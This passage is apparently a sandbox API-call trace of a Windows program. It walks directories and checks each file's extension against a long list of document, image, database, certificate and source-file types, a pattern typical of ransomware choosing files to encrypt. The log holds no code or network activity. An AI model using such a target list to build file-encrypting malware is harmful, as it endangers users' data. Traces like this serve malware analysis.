lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".fxg") returned 4 [0062.368] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".geo") returned 4 [0062.368] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".gif") returned 4 [0062.368] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".grs") returned 4 [0062.368] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".gz") returned 3 [0062.368] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0062.368] lstrlenW (lpString=".h") returned 2 [0062.368] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0062.368] lstrlenW (lpString=".hdr") returned 4 [0062.368] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".hpp") returned 4 [0062.368] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".hta") returned 4 [0062.368] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".htc") returned 4 [0062.368] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".htm") returned 4 [0062.369] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".html") returned 5 [0062.369] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0062.369] lstrlenW (lpString=".icb") returned 4 [0062.369] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".ics") returned 4 [0062.369] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".iff") returned 4 [0062.369] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".inc") returned 4 [0062.369] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".indd") returned 5 [0062.369] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0062.369] lstrlenW (lpString=".ini") returned 4 [0062.369] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".iqy") returned 4 [0062.369] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".j2c") returned 4 [0062.369] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".j2k") returned 4 [0062.369] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".java") returned 5 [0062.369] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0062.369] lstrlenW (lpString=".jp2") returned 4 [0062.369] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".jpc") returned 4 [0062.369] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".jpe") returned 4 [0062.369] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".jpeg") returned 5 [0062.369] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0062.369] lstrlenW (lpString=".jpf") returned 4 [0062.369] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0062.369] lstrlenW (lpString=".jpg") returned 4 [0062.369] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".jpx") returned 4 [0062.370] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".js") returned 3 [0062.370] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0062.370] lstrlenW (lpString=".jsf") returned 4 [0062.370] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".json") returned 5 [0062.370] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0062.370] lstrlenW (lpString=".jsp") returned 4 [0062.370] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".kdc") returned 4 [0062.370] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".kmz") returned 4 [0062.370] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".kwm") returned 4 [0062.370] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".lasso") returned 6 [0062.370] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0062.370] lstrlenW (lpString=".lbi") returned 4 [0062.370] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".lgf") returned 4 [0062.370] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".lgp") returned 4 [0062.370] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".log") returned 4 [0062.370] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".m1v") returned 4 [0062.370] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".m4a") returned 4 [0062.370] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".m4v") returned 4 [0062.370] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0062.370] lstrlenW (lpString=".max") returned 4 [0062.370] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".md") returned 3 [0062.371] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0062.371] lstrlenW (lpString=".mda") returned 4 [0062.371] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mdb") returned 4 [0062.371] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mde") returned 4 [0062.371] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mdf") returned 4 [0062.371] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mdw") returned 4 [0062.371] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mef") returned 4 [0062.371] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mft") returned 4 [0062.371] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mfw") returned 4 [0062.371] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mht") returned 4 [0062.371] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mhtml") returned 6 [0062.371] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0062.371] lstrlenW (lpString=".mka") returned 4 [0062.371] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mkidx") returned 6 [0062.371] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0062.371] lstrlenW (lpString=".mkv") returned 4 [0062.371] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mos") returned 4 [0062.371] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mov") returned 4 [0062.371] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mp3") returned 4 [0062.371] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0062.371] lstrlenW (lpString=".mp4") returned 4 [0062.371] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0062.372] lstrlenW (lpString=".mpeg") returned 5 [0062.372] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0062.372] lstrlenW (lpString=".mpg") returned 4 [0062.372] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0062.372] lstrlenW (lpString=".mpv") returned 4 [0062.372] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0062.372] lstrlenW (lpString=".mrw") returned 4 [0062.372] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0062.372] lstrlenW (lpString=".msg") returned 4 [0062.372] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0062.372] lstrlenW (lpString=".mxl") returned 4 [0062.372] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".myd") returned 4 [0062.372] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".myi") returned 4 [0062.372] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".nef") returned 4 [0062.372] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".nrw") returned 4 [0062.372] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".obj") returned 4 [0062.372] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".odb") returned 4 [0062.372] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".odc") returned 4 [0062.372] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".odm") returned 4 [0062.372] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".odp") returned 4 [0062.372] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".ods") returned 4 [0062.372] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".oft") returned 4 [0062.372] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0062.372] lstrlenW (lpString=".one") returned 4 [0062.372] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".onepkg") returned 7 [0062.373] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0062.373] lstrlenW (lpString=".onetoc2") returned 8 [0062.373] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0062.373] lstrlenW (lpString=".opt") returned 4 [0062.373] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".oqy") returned 4 [0062.373] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".orf") returned 4 [0062.373] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".p12") returned 4 [0062.373] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".p7b") returned 4 [0062.373] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".p7c") returned 4 [0062.373] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pam") returned 4 [0062.373] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pbm") returned 4 [0062.373] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pct") returned 4 [0062.373] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pcx") returned 4 [0062.373] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pdd") returned 4 [0062.373] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pdf") returned 4 [0062.373] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pdp") returned 4 [0062.373] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pef") returned 4 [0062.373] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0062.373] lstrlenW (lpString=".pem") returned 4 [0062.373] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".pff") returned 4 [0062.374] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".pfm") returned 4 [0062.374] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".pfx") returned 4 [0062.374] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".pgm") returned 4 [0062.374] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".php") returned 4 [0062.374] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".php3") returned 5 [0062.374] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0062.374] lstrlenW (lpString=".php4") returned 5 [0062.374] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0062.374] lstrlenW (lpString=".php5") returned 5 [0062.374] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0062.374] lstrlenW (lpString=".phtml") returned 6 [0062.374] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0062.374] lstrlenW (lpString=".pict") returned 5 [0062.374] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0062.374] lstrlenW (lpString=".pl") returned 3 [0062.374] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0062.374] lstrlenW (lpString=".pls") returned 4 [0062.374] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".pm") returned 3 [0062.374] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0062.374] lstrlenW (lpString=".png") returned 4 [0062.374] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".pnm") returned 4 [0062.374] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".pot") returned 4 [0062.374] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0062.374] lstrlenW (lpString=".potm") returned 5 [0062.374] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0062.374] lstrlenW (lpString=".potx") returned 5 [0062.375] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0062.375] lstrlenW (lpString=".ppa") returned 4 [0062.375] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".ppam") returned 5 [0062.375] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0062.375] lstrlenW (lpString=".ppm") returned 4 [0062.375] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".pps") returned 4 [0062.375] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".ppsm") returned 5 [0062.375] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0062.375] lstrlenW (lpString=".ppt") returned 4 [0062.375] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".pptm") returned 5 [0062.375] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0062.375] lstrlenW (lpString=".pptx") returned 5 [0062.375] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0062.375] lstrlenW (lpString=".prn") returned 4 [0062.375] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".ps") returned 3 [0062.375] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0062.375] lstrlenW (lpString=".psb") returned 4 [0062.375] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".psd") returned 4 [0062.375] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".pst") returned 4 [0062.375] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".ptx") returned 4 [0062.375] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".pub") returned 4 [0062.375] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0062.375] lstrlenW (lpString=".pwm") returned 4 [0062.376] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0062.376] lstrlenW (lpString=".pxr") returned 4 [0062.376] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0062.376] lstrlenW (lpString=".py") returned 3 [0062.376] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0062.376] lstrlenW (lpString=".qt") returned 3 [0062.376] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0062.376] lstrlenW (lpString=".r3d") returned 4 [0062.376] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0062.376] lstrlenW (lpString=".raf") returned 4 [0062.376] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0062.376] lstrlenW (lpString=".rar") returned 4 [0062.376] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.376] lstrlenW (lpString=".raw") returned 4 [0062.376] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0064.362] FindNextFileW (in: hFindFile=0x3ed14a0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352f1f4, cFileName="..", cAlternateFileName="")) returned 1 [0064.898] FindNextFileW (in: hFindFile=0x3ed14a0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352f1f4, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0075.834] FindNextFileW (in: hFindFile=0x3ed1360, lpFindFileData=0x352f58c | out: lpFindFileData=0x352f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0075.835] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".accda", lpString2="EW.DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".accdb", lpString2="EW.DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".accdc", lpString2="EW.DLL") returned -1 [0075.835] lstrcmpiW (lpString1=".accde", lpString2="EW.DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".accdt", lpString2="EW.DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".accdw", lpString2="EW.DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".anim", lpString2="W.DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".ascx", lpString2="W.DLL") returned -1 [0075.836] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".asmx", lpString2="W.DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".aspx", lpString2="W.DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".backup", lpString2="IEW.DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0075.837] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0075.837] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cfml", lpString2="W.DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".class", lpString2="EW.DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".config", lpString2="IEW.DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0075.838] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".divx", lpString2="W.DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".djvu", lpString2="W.DLL") returned -1 [0075.839] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".docm", lpString2="W.DLL") returned -1 [0075.840] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0075.840] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".dotm", lpString2="W.DLL") returned -1 [0075.840] lstrcmpiW (lpString1=".dotx", lpString2="W.DLL") returned -1 [0075.840] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0075.840] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0075.840] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".edml", lpString2="W.DLL") returned -1 [0075.840] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0075.840] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".epsf", lpString2="W.DLL") returned -1 [0075.841] lstrcmpiW (lpString1=".epsp", lpString2="W.DLL") returned -1 [0075.841] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".fido", lpString2="W.DLL") returned -1 [0075.841] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0075.841] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0075.842] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0075.842] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".html", lpString2="W.DLL") returned -1 [0075.842] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0075.842] lstrcmpiW (lpString1=".indd", lpString2="W.DLL") returned 